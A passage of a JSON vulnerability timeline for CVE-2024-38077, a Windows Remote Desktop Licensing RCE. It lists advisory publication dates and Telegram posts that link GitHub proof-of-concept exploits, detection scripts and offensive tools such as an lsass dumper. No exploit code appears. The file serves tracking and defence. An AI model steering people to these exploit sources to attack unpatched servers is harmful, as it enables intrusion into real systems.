{"metadata": {"vulnerability": "CVE-2024-38077", "count": 105, "kinds": {"milestone": 9, "sighting": 68, "kev": 0, "other": 28}}, "data": [{"timestamp": "2024-06-11T22:36:08.181Z", "date_only": false, "value": "2024-06-11T22:36:08.181Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-38077", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-07-09T00:00:00Z", "date_only": true, "value": "2024-07-09", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0557", "record": "CERTFR-2024-AVI-0557", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2024-07-09T07:00:00Z", "date_only": false, "value": "2024-07-09T07:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-38077", "record": "MSRC_CVE-2024-38077", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-07-09T07:00:00Z", "date_only": false, "value": "2024-07-09T07:00:00.000Z", "kind": "other", "label": "Date", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-38077", "record": "MSRC_CVE-2024-38077", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2024-07-09T07:00:00Z", "date_only": false, "value": "2024-07-09T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2024-38077", "field": "containers.cna.datePublic"}, {"timestamp": "2024-07-09T07:00:00Z", "date_only": false, "value": "2024-07-09T07:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-38077", "record": "MSRC_CVE-2024-38077", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-07-09T07:00:00Z", "date_only": false, "value": "2024-07-09T07:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-38077", "record": "MSRC_CVE-2024-38077", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-07-09T17:02:33.618Z", "date_only": false, "value": "2024-07-09T17:02:33.618Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-38077", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-07-09T17:15:42Z", "date_only": false, "value": "2024-07-09T17:15:42Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-9J79-XCX5-MXM4", "record": "GHSA-9J79-XCX5-MXM4", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-07-09T17:15:42.430Z", "date_only": false, "value": "2024-07-09T17:15:42.430", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-38077", "record": "FKIE_CVE-2024-38077", "field": "published"}, {"timestamp": "2024-07-09T18:30:52Z", "date_only": false, "value": "2024-07-09T18:30:52Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-9J79-XCX5-MXM4", "record": "GHSA-9J79-XCX5-MXM4", "field": "published"}, {"timestamp": "2024-07-09T18:30:52Z", "date_only": false, "value": "2024-07-09T18:30:52Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-9J79-XCX5-MXM4", "record": "GHSA-9J79-XCX5-MXM4", "field": "modified"}, {"timestamp": "2024-07-09T18:40:21.043Z", "date_only": false, "value": "2024-07-09T18:40:21.043319Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2024-0279", "record": "NCSC-2024-0279", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-07-09T18:40:21.043Z", "date_only": false, "value": "2024-07-09T18:40:21.043319Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2024-0279", "record": "NCSC-2024-0279", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-07-09T18:40:21.043Z", "date_only": false, "value": "2024-07-09T18:40:21.043319Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2024-0279", "record": "NCSC-2024-0279", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-07-09T22:00:00Z", "date_only": false, "value": "2024-07-09T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-07-09T22:00:00Z", "date_only": false, "value": "2024-07-09T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-07-09T22:00:00Z", "date_only": false, "value": "2024-07-09T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2024-07-10T00:00:00Z", "date_only": false, "value": "2024-07-10T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0557", "record": "CERTFR-2024-AVI-0557", "field": "last_revision_date"}, {"timestamp": "2024-07-10T00:00:00Z", "date_only": false, "value": "2024-07-10T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0557", "record": "CERTFR-2024-AVI-0557", "field": "initial_release_date"}, {"timestamp": "2024-07-10T00:00:00Z", "date_only": false, "value": "2024-07-10T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0557", "record": "CERTFR-2024-AVI-0557", "field": "revisions.0.revision_date"}, {"timestamp": "2024-07-10T04:00:00Z", "date_only": false, "value": "2024-07-10T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1324", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "14474b6e-75c4-41b0-a379-7f9ed20ba92e", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1324"}, {"timestamp": "2024-07-10T22:00:00Z", "date_only": false, "value": "2024-07-10T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2024-07-12T00:00:00Z", "date_only": true, "value": "2024-07-12", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2024-34918", "record": "CNVD-2024-34918", "field": "submitTime"}, {"timestamp": "2024-07-24T20:31:29.864Z", "date_only": false, "value": "2024-07-24T20:31:29.864398Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-38077", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-07-24T20:31:29.864Z", "date_only": false, "value": "2024-07-24T20:31:29.864398Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-38077", "record": "FKIE_CVE-2024-38077", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-07-24T20:31:37.313Z", "date_only": false, "value": "2024-07-24T20:31:37.313Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-38077", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-02T04:04:24.627Z", "date_only": false, "value": "2024-08-02T04:04:24.627Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-38077", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-08T22:00:00Z", "date_only": false, "value": "2024-08-08T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2024-08-09T00:00:00Z", "date_only": true, "value": "2024-08-09", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2024-34918", "record": "CNVD-2024-34918", "field": "openTime"}, {"timestamp": "2024-08-09T05:03:50Z", "date_only": false, "value": "2024-08-09T05:03:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8211", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "c2651ef9-bb87-4292-b636-8978740f2e25", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aRDL\u7684\u5806\u6ea2\u51fa\u5bfc\u81f4\u7684RCE\nURL\uff1ahttps://github.com/qi4L/CVE-2024-38077\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8211"}, {"timestamp": "2024-08-09T07:44:20Z", "date_only": false, "value": "2024-08-09T07:44:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8215", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "6b81477d-a87d-4890-a0e3-0fe2c1913209", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a\u8fdc\u7a0b\u63a2\u6d4bremote desktop licensing\u670d\u52a1\u5f00\u653e\u60c5\u51b5\uff0c\u7528\u4e8eCVE-2024-38077\u6f0f\u6d1e\u5feb\u901f\u6392\u67e5\nURL\uff1ahttps://github.com/murphysec/RDL-detect\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8215"}, {"timestamp": "2024-08-09T07:48:30Z", "date_only": false, "value": "2024-08-09T07:48:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8217", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "1b2ca249-fae7-49ff-87e2-be4a4463c5e1", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-38077\uff0c\u672c\u4ed3\u5e93\u4ec5\u7528\u4f5c\u5907\u4efd\uff0c\nURL\uff1ahttps://github.com/Lxiyang/CVE-2024-38077\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8217"}, {"timestamp": "2024-08-09T08:10:55Z", "date_only": false, "value": "2024-08-09T08:10:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8218", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "2c1d0e32-3cd2-4eae-86df-810588bffab5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a\u8fdc\u7a0b\u63a2\u6d4b remote desktop licensing \u670d\u52a1\u5f00\u653e\u60c5\u51b5\uff0c\u7528\u4e8e CVE-2024-38077 \u6f0f\u6d1e\u5feb\u901f\u6392\u67e5\nURL\uff1ahttps://github.com/murphysecurity/RDL-detect\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8218"}, {"timestamp": "2024-08-09T08:15:48Z", "date_only": false, "value": "2024-08-09T08:15:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/RalfHackerChannel/1517", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "04ef9c7d-0166-4a7d-95ed-ee1708c778af", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service RCE\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\n\u0417\u0430\u043f\u0430\u0442\u0447\u0435\u043d\u043e 9 \u0438\u044e\u043b\u044f\n\n#exploit #ad #rce #pentest #redteam", "url": "https://t.me/RalfHackerChannel/1517"}, {"timestamp": "2024-08-09T09:36:17Z", "date_only": false, "value": "2024-08-09T09:36:17.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/lwbwY-3LrdsfPC2G67OAOF_bLHxwWE1ROpj0j19hP8nLxY4", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "148e88dc-0943-455a-bc3e-df0b40164212"}, {"timestamp": "2024-08-09T11:45:35Z", "date_only": false, "value": "2024-08-09T11:45:35.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackerArsenal/139", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "3fd22bd2-22a9-469a-92fa-2534b22b1d81", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service 0-Click RCE", "url": "https://t.me/HackerArsenal/139"}, {"timestamp": "2024-08-09T12:50:22Z", "date_only": false, "value": "2024-08-09T12:50:22.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Kelvinseccommunity/712", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "5c2a9175-39bb-4c16-9ed1-b86b77254a16", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service 0-Click RCE", "url": "https://t.me/Kelvinseccommunity/712"}, {"timestamp": "2024-08-10T04:38:43Z", "date_only": false, "value": "2024-08-10T04:38:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/636", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "39c9a331-af1f-44ad-a5ab-2f299c5ad469", "content": "CVE-2024-38077 POC\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC/blob/main/CVE-2024-38077-poc.py\n\n#CyberDilara", "url": "https://t.me/CyberDilara/636"}, {"timestamp": "2024-08-10T06:12:19Z", "date_only": false, "value": "2024-08-10T06:12:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerArsenal/140", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "a5a7c0e7-90cf-49d6-be90-d31b6a7b922d", "content": "#exploit\n1. CVE-2024-38077:\nWindows RDL Service RCE\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\n2. CVE-2024-38054:\nWindows Server < 2022 23H2 - Kernel Streaming WOW Thunk Service Driver Memory Corruption\nhttps://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054", "url": "https://t.me/HackerArsenal/140"}, {"timestamp": "2024-08-10T06:12:35Z", "date_only": false, "value": "2024-08-10T06:12:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Kelvinseccommunity/713", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "fb69c324-eb03-47d5-bb66-5bf2ed3a3bfc", "content": "#exploit\n1. CVE-2024-38077:\nWindows RDL Service RCE\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\n2. CVE-2024-38054:\nWindows Server < 2022 23H2 - Kernel Streaming WOW Thunk Service Driver Memory Corruption\nhttps://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054", "url": "https://t.me/Kelvinseccommunity/713"}, {"timestamp": "2024-08-10T08:58:51Z", "date_only": false, "value": "2024-08-10T08:58:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2975", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "d5154ef7-29bd-4d51-a3a4-fafb4e3deb3f", "content": "https://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\nCVE-2024-38077-EXP\n#github #poc", "url": "https://t.me/CNArsenal/2975"}, {"timestamp": "2024-08-10T09:34:30Z", "date_only": false, "value": "2024-08-10T09:34:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8227", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "3853144d-2394-4c07-8549-e78ff4b0bdcd", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a\u57fa\u4e8e135\u7aef\u53e3\u68c0\u6d4b\u76ee\u6807\u662f\u5426\u5b58\u5728CVE-2024-38077\u6f0f\u6d1e\nURL\uff1ahttps://github.com/BambiZombie/CVE-2024-38077_check\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8227"}, {"timestamp": "2024-08-10T10:07:25Z", "date_only": false, "value": "2024-08-10T10:07:25.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8228", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "b6cdbfd3-5d3e-4edd-b071-e64f1da0ac32", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a\u57fa\u4e8e135\u7aef\u53e3\u68c0\u6d4b\u76ee\u6807\u662f\u5426\u5b58\u5728CVE-2024-38077\u6f0f\u6d1e\nURL\uff1ahttps://github.com/BambiZombie/CVE-2024-38077-check\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8228"}, {"timestamp": "2024-08-10T12:07:01Z", "date_only": false, "value": "2024-08-10T12:07:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/10959", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "b296d5f2-852e-44ec-820e-220fd737c1c1", "content": "#exploit\n1. CVE-2024-38077:\nWindows RDL Service RCE\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\n2. CVE-2024-38054:\nWindows Server < 2022 23H2 - Kernel Streaming WOW Thunk Service Driver Memory Corruption\nhttps://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054", "url": "https://t.me/CyberSecurityTechnologies/10959"}, {"timestamp": "2024-08-10T14:40:09Z", "date_only": false, "value": "2024-08-10T14:40:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/zer0day1ab/168", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "cda4ef10-7831-4956-8137-eba029a64ffb", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service RCE\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\n\u0417\u0430\u043f\u0430\u0442\u0447\u0435\u043d\u043e 9 \u0438\u044e\u043b\u044f\n\n#exploit #ad #rce #pentest #redteam", "url": "https://t.me/zer0day1ab/168"}, {"timestamp": "2024-08-10T16:10:11Z", "date_only": false, "value": "2024-08-10T16:10:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/13455", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "9d5a4fb0-6535-4f55-aa6d-d70db964d8d3", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Exploitable PoC Released for CVE-2024-38077: 0-Click RCE Threatens All Windows Servers.\n\nhttps://securityonline.info/exploitable-poc-released-for-cve-2024-38077-0-click-rce-threatens-all-windows-servers/", "url": "https://t.me/cKure/13455"}, {"timestamp": "2024-08-10T18:05:02Z", "date_only": false, "value": "2024-08-10T18:05:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CypherStar/162", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "e539478c-040c-4d6c-aa57-8606041925cd", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service 0-Click RCE", "url": "https://t.me/CypherStar/162"}, {"timestamp": "2024-08-10T21:41:30Z", "date_only": false, "value": "2024-08-10T21:41:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/9241", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "5c3b55d1-5219-4f43-9647-fb2023a93e09", "content": "\u200aExploitable PoC Released for CVE-2024-38077: 0-Click RCE Threatens All Windows Servers\n\nhttps://securityonline.info/exploitable-poc-released-for-cve-2024-38077-0-click-rce-threatens-all-windows-servers/", "url": "https://t.me/HackingInsights/9241"}, {"timestamp": "2024-08-11T05:55:51Z", "date_only": false, "value": "2024-08-11T05:55:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/642", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "c0d03189-8efa-4717-8706-a9841f311988", "content": "Tools  - Hackers Factory \n\n''GitHub - rasta-mouse/OST-C2-Spec: Open Source C&C Specification''\n\nhttps://github.com/rasta-mouse/OST-C2-Spec\n\nCVE-2024-38077: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\nEfficiently scan for exposed Swagger endpoints across web domains and subdomains (Supports HTTP/HTTPS, multi-threading, and flexible input/output options. Ideal for API security testing) \n\nhttps://github.com/brinhosa/apidetector\n\nTrickDump dumps the #lsass process without creating a #Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps.\n\nhttps://github.com/ricardojoserf/TrickDump\n\nAn engine to make Tor network your default gateway.\n\ngithub.com/htrgouvea/nipe\n\nDeveloping a cryptographically secure bootloader for RISC-V in Rust.\n\nhttps://github.com/LawrenceHunter/SentinelBoot\n\nViT-CoMer: Vision Transformer with Convolutional Multi-scale Feature Interaction for Dense Predictions\n\nhttps://github.com/Traffic-X/ViT-CoMer\n\nScattered Mixture-of-Experts Implementation\n\nhttps://github.com/shawntan/scattermoe\n\nH-SAM\n\nhttps://github.com/cccccczh404/h-sam\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/CyberDilara/642"}, {"timestamp": "2024-08-11T05:57:17Z", "date_only": false, "value": "2024-08-11T05:57:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/7246", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "98c75a73-39a2-4d17-a47c-b6053bc66b15", "content": "Tools  - Hackers Factory \n\n''GitHub - rasta-mouse/OST-C2-Spec: Open Source C&C Specification''\n\nhttps://github.com/rasta-mouse/OST-C2-Spec\n\nCVE-2024-38077: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\nEfficiently scan for exposed Swagger endpoints across web domains and subdomains (Supports HTTP/HTTPS, multi-threading, and flexible input/output options. Ideal for API security testing) \n\nhttps://github.com/brinhosa/apidetector\n\nTrickDump dumps the #lsass process without creating a #Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps.\n\nhttps://github.com/ricardojoserf/TrickDump\n\nAn engine to make Tor network your default gateway.\n\ngithub.com/htrgouvea/nipe\n\nDeveloping a cryptographically secure bootloader for RISC-V in Rust.\n\nhttps://github.com/LawrenceHunter/SentinelBoot\n\nViT-CoMer: Vision Transformer with Convolutional Multi-scale Feature Interaction for Dense Predictions\n\nhttps://github.com/Traffic-X/ViT-CoMer\n\nScattered Mixture-of-Experts Implementation\n\nhttps://github.com/shawntan/scattermoe\n\nH-SAM\n\nhttps://github.com/cccccczh404/h-sam\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/7246"}, {"timestamp": "2024-08-11T05:57:17Z", "date_only": false, "value": "2024-08-11T05:57:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/8567", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "92754493-33d4-4789-ba18-92e8a121c5c5", "content": "Tools  - Hackers Factory \n\n''GitHub - rasta-mouse/OST-C2-Spec: Open Source C&C Specification''\n\nhttps://github.com/rasta-mouse/OST-C2-Spec\n\nCVE-2024-38077: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\nEfficiently scan for exposed Swagger endpoints across web domains and subdomains (Supports HTTP/HTTPS, multi-threading, and flexible input/output options. Ideal for API security testing) \n\nhttps://github.com/brinhosa/apidetector\n\nTrickDump dumps the #lsass process without creating a #Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps.\n\nhttps://github.com/ricardojoserf/TrickDump\n\nAn engine to make Tor network your default gateway.\n\ngithub.com/htrgouvea/nipe\n\nDeveloping a cryptographically secure bootloader for RISC-V in Rust.\n\nhttps://github.com/LawrenceHunter/SentinelBoot\n\nViT-CoMer: Vision Transformer with Convolutional Multi-scale Feature Interaction for Dense Predictions\n\nhttps://github.com/Traffic-X/ViT-CoMer\n\nScattered Mixture-of-Experts Implementation\n\nhttps://github.com/shawntan/scattermoe\n\nH-SAM\n\nhttps://github.com/cccccczh404/h-sam\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/8567"}, {"timestamp": "2024-08-11T06:50:59Z", "date_only": false, "value": "2024-08-11T06:50:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3663", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "573f4351-ce9f-4cfe-8cce-b43de48ad1e2", "content": "Tools  - Hackers Factory \n\n''GitHub - rasta-mouse/OST-C2-Spec: Open Source C&C Specification''\n\nhttps://github.com/rasta-mouse/OST-C2-Spec\n\nCVE-2024-38077: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\nEfficiently scan for exposed Swagger endpoints across web domains and subdomains (Supports HTTP/HTTPS, multi-threading, and flexible input/output options. Ideal for API security testing) \n\nhttps://github.com/brinhosa/apidetector\n\nTrickDump dumps the #lsass process without creating a #Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps.\n\nhttps://github.com/ricardojoserf/TrickDump\n\nAn engine to make Tor network your default gateway.\n\ngithub.com/htrgouvea/nipe\n\nDeveloping a cryptographically secure bootloader for RISC-V in Rust.\n\nhttps://github.com/LawrenceHunter/SentinelBoot\n\nViT-CoMer: Vision Transformer with Convolutional Multi-scale Feature Interaction for Dense Predictions\n\nhttps://github.com/Traffic-X/ViT-CoMer\n\nScattered Mixture-of-Experts Implementation\n\nhttps://github.com/shawntan/scattermoe\n\nH-SAM\n\nhttps://github.com/cccccczh404/h-sam\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/dilagrafie/3663"}, {"timestamp": "2024-08-12T02:29:01Z", "date_only": false, "value": "2024-08-12T02:29:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/653", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "f5f29df4-9053-4f1c-9db0-765039b89f24", "content": "Tools - Hackers Factory \n\nApplication to comfortably monitor your Internet traffic\n\nhttps://github.com/GyulyVGC/sniffnet\n\nOSINT CHEAT SHEET Tools & Methods\n\nhttps://github.com/NotLoBi/NotLoBi\n\nHookchain\n\nhttps://github.com/helviojunior/hookchain\n\nUnwaf is a Go tool designed to help identify WAF bypasses using passive techniques, such as: SPF records and DNS history. By default, Unwaf will check SPF records.\n\nhttps://github.com/mmarting/unwaf\n\nOpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks.\n\nhttps://github.com/seemoo-lab/openhaystack\n\nCobalt Strike beacon object files (BOFs) is a feature that was added to the beacon in order to allow rapid beacon extendibility in a more OPSEC way.\n\nhttps://github.com/securifybv/Visual-Studio-BOF-template\n\nCVE-2024-38077-EXP\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC/tree/main\n\nDockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.\n\nhttps://github.com/UndeadSec/DockerSpy\n\nUltimate Hardware Hacking Gear Guide\n\nhttps://github.com/jcldf/ultimate-hardware-hacking-gear-guide-\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/CyberDilara/653"}, {"timestamp": "2024-08-12T02:29:08Z", "date_only": false, "value": "2024-08-12T02:29:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3667", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "5ad4da28-96b2-4bc6-a348-4317c9e12b10", "content": "Tools - Hackers Factory \n\nApplication to comfortably monitor your Internet traffic\n\nhttps://github.com/GyulyVGC/sniffnet\n\nOSINT CHEAT SHEET Tools & Methods\n\nhttps://github.com/NotLoBi/NotLoBi\n\nHookchain\n\nhttps://github.com/helviojunior/hookchain\n\nUnwaf is a Go tool designed to help identify WAF bypasses using passive techniques, such as: SPF records and DNS history. By default, Unwaf will check SPF records.\n\nhttps://github.com/mmarting/unwaf\n\nOpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks.\n\nhttps://github.com/seemoo-lab/openhaystack\n\nCobalt Strike beacon object files (BOFs) is a feature that was added to the beacon in order to allow rapid beacon extendibility in a more OPSEC way.\n\nhttps://github.com/securifybv/Visual-Studio-BOF-template\n\nCVE-2024-38077-EXP\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC/tree/main\n\nDockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.\n\nhttps://github.com/UndeadSec/DockerSpy\n\nUltimate Hardware Hacking Gear Guide\n\nhttps://github.com/jcldf/ultimate-hardware-hacking-gear-guide-\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/dilagrafie/3667"}, {"timestamp": "2024-08-12T02:32:08Z", "date_only": false, "value": "2024-08-12T02:32:08.000000Z", "kind": 